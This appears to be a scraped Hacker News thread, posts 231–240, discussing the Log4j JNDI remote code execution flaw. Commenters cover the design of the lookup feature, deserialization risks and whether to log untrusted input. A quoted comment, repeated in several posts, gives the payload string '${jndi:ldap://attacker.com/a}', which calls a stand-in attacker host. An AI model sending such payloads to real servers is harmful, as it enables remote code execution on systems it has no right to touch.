Live data from Hacker News

Log4j RCE Found

lunasec.io

231–240 of 531 posts

Re: Log4j RCE Found

#231
post #36
post #33

Earlier quoted context omitted.

When log4j is handed the string "${jndi:ldap://attacker.com/a}", it attempts to load a logging config from the remote address. The attacker can test for vulnerable servers by spamming the payload everywhere, and then seeing if they get requests (DNS requests for a subdomain, probably). It's listen in the log4j docs here[0] as a feature. Funny enough, they actually call out the security mitigations they have in place…

What benign purpose does this feature serve and why does it have to be implemented by parsing the input string? Does the input string get modified before being written into the log? I'll ask again because the information presented so far both in this thread on GitHub and on Twitter has been very lacking: is it necessary to return the input string back to the attacker in the response to their request in order for them…

JNDI is an interface to many kinds of naming and directory services. One common-ish use case in enterprise software is to use it as a sort of internal directory inside an application. In particular, the prefix "java:comp/env" identifies a namespace which contains configuration for the current component (servlet or EJB). So it might be rather useful to do a lookup in that when writing log messages. For example, you could have some common utility method shared by multiple components that looks up the current component name and includes it in the log output, so you can tell which component was making a request to the utility method.

The easiest way to support this would just be to allow JNDI lookups from log strings. Unfortunately, that enables all sorts of lookups!

IMHO, the real bug here is that the LDAP JNDI provider will load class files from arbitrary untrusted sources. That is an obviously terrible idea, regardless of whether JNDI is being used from a logging string or somewhere else.

Re: Log4j RCE Found

#232
post #36
post #33

Earlier quoted context omitted.

When log4j is handed the string "${jndi:ldap://attacker.com/a}", it attempts to load a logging config from the remote address. The attacker can test for vulnerable servers by spamming the payload everywhere, and then seeing if they get requests (DNS requests for a subdomain, probably). It's listen in the log4j docs here[0] as a feature. Funny enough, they actually call out the security mitigations they have in place…

What benign purpose does this feature serve and why does it have to be implemented by parsing the input string? Does the input string get modified before being written into the log? I'll ask again because the information presented so far both in this thread on GitHub and on Twitter has been very lacking: is it necessary to return the input string back to the attacker in the response to their request in order for them…

To my knowledge JNDI is a monitoring interface allowing you to get various system values like the number of threads, heap size, process ID, etc. Somehow it's capable of being connected to LDAP.

It sounds like a classic X-to-Y-to-Z problem. Someone connected X to Y thinking Y was pretty safe even with untrusted input, not knowing it would ever proxy to Z (probably, everything you can do with JNDI on a local machine is safe). Someone else connected Y to Z thinking that Y is only passed trusted values so the new proxy feature could only be triggered deliberately. And here we are. This class of bug should have a name but probably doesn't.

And another person didn't document well that log messages must be trusted input...

Re: Log4j RCE Found

#233

Earlier quoted context omitted.

It was a few months ago, but if I recall correctly, there were two overrides for info (and the other equivalent methods). info(String, String...) would do {} expansion like you mentioned, but info(String) would log the string directly, not doing format expansion on it. I'm not sure how this interacts with the RCE issue reported here. EDIT: That's because I was thinking of Slf4j, which has additional smarts here.

I'm not aware of that feature, but I guess it would mitigate this issue, since the problematic code: > logger.info("Data: {}"); would effectively turn into something safe: > logger.info("{}", "Data: {}"); And the issue would only arise if someone mixes the two patterns: > logger.info("Data for " + username + ": {}", data); Overall, I don't like the sound of that feature, since it blurs the line between correct and in…

Why though? It is not typical in Java to use format strings, unless you call String.format explicitly. It's not like C where printf-style APIs are common.

Re: Log4j RCE Found

#234

Earlier quoted context omitted.

Ah thanks, that sounds like pickling in Python. It took forever for them to understand that unpickling untrested data was a security hole.

2.2 tried to create a "safe for unpickling" way ( https://docs.python.org/2.2/lib/pickle-sec.html ) which unsurprisingly failed ( https://www.python.org/dev/peps/pep-0307/ 2003) > This feature gives a false sense of security: nobody has ever done the necessary, extensive, code audit to prove that unpickling untrusted pickles cannot invoke unwanted code, and in fact bugs in the Python 2.2 pickle.py module make it easy…

Reminds me of the Java Applet exploit where you could combine system classes with overlapping method signatures in unexpected ways, to get the system to do untrusted things by itself without any user code. I bet __safe_for_unpickling__ has that problem.

In the Java case, it was something like: create a listbox on the screen, which contains a map entry, whose value is a java.beans.Expression object which calls a getter on some object which has side effects that allow an RCE. Because only system code is involved in the chain, Java's stack-based security model determined that this was some internal runtime code making the call, and allowed it. It doesn't make sense to put a security check on any individual step, until the final one which determined it was running in a system context, yet the overall effect was something that should not have been allowed was allowed.

The listbox innocently called toString() and what happened was RCE.

I bet in Python you could use the same concept and construct an object graph where some innocent method call ends up being an RCE. Find an object whose str() calls self.foo.toString(), find an object whose toString() calls self.bar.blah(), find an object whose blah() calls self.asdf.meh(), find an object whose meh() calls os.system(self.cmd). Now you deserialize this graph and RCE is triggered by somebody trying to log the graph.

Re: Log4j RCE Found

#235
post #29

The twitter thread says something about serialized objects containing malicious code. I didn't realize Java had that. Can someone explain in more detail?

Java has the ability to serialize a class, send it over the network, and deserialize it back into a usable class. This mechanism is quite flexible, and allows the class itself to control some aspect of it's own serialization (such as code to run post-serialization, as a form of initialiation, somewhat similar to a constructor). So if you load a class from an unknown source (such as this exploit's example), you are ba…

Note that the class itself is not serialized. Only the instance of the class is serialized. The class itself is looked up by name in the running program. This is still a footgun because you can try to deserialize classes that weren't meant to be deserialized in this context, but it's a way smaller footgun than being able to just load arbitrary code into the program.

Re: Log4j RCE Found

#236

This is actually worse than log4j. Any code accessing JNDI using URIs from external data is vulnerable. Script injection (aka XSS) at its finest. Looks like a good use case for running under SecurityManager with a restrictive policy. Maybe it is time to reconsider JEP 411?

How many code accesses JNDI using URIs for external data? Debug tools, presumably. Monitoring tools.

Re: Log4j RCE Found

#237
post #50

so the question is, is it safe to log unsanitized inputs? i've argued no given the complexity of today's logging pipelines and caught a lot of flak for it in the past... now i feel vindicated.

Why would you ever trust user provided input? Like seriously, ever? I don't trust my own input. I tend to copy&paste, and I've messed up from pasting something that was previously in the clipboard because I didn't actually hit the right keyboard shortcut when I was copying the data I thought I was. I wasn't even attempting to be malicious, but I accidentally tried a SQL Inject attack on myself because of it. DON'T EV…

The issue is, what counts as "trust"? Logging input isn't trusting it. Or at least it's not supposed to be.

Re: Log4j RCE Found

#238
post #28

Isn't it generally considered bad practice to log user controlled data (without some form of sanitization)? I think static analyzers tend to find these since they're a type of injection attack (an attacker could insert fake log lines or otherwise interfere with the log contents)

No... not really. Actually the bad data is probably the data you most want to log. Kinda the point of logging. You do expect it to not screw up the logging system when bad data is logged. You expect to be able to log any random data (even if the log file formatting may get confusing in case of maliciously formatted data)

Re: Log4j RCE Found

#239
post #74

Does anyone in here know what url schemes are valid for JNDI and/or this bug in particular? The example is LDAP but is that the only one JNDI supports? Would HTTPS or even data urls work?

https://docs.oracle.com/javase/tutorial/jndi/overview/index....

says that LDAP, DNS, RMI Registry, and CORBA Name Service are included in Java, and others may be discovered at load time (but I bet they aren't because that's very niche).

Re: Log4j RCE Found

#240
post #33

Earlier quoted context omitted.

When log4j is handed the string "${jndi:ldap://attacker.com/a}", it attempts to load a logging config from the remote address. The attacker can test for vulnerable servers by spamming the payload everywhere, and then seeing if they get requests (DNS requests for a subdomain, probably). It's listen in the log4j docs here[0] as a feature. Funny enough, they actually call out the security mitigations they have in place…

Fundamentally this is a format string attack. You're not supposed to do "log.info(user_supplied_stuff)", you're supposed to do "log.info("User sent: %s", user_supplied_stuff)". Edit: This is wrong - the exploit works anywhere in log messages, even parameters: https://news.ycombinator.com/item?id=29506397 Seems like a late contender for dumbest/most-unnecessary RCE award in 2021. Java is uncannily good at those for a…

Java is uncannily good at repeatedly allowing code execution via data misinterpretation across the board. The way it does serialization makes it impossible to secure. Templating libraries have forever been an issue. Endless extensibility in-line with data is a curse.
Post reply on HN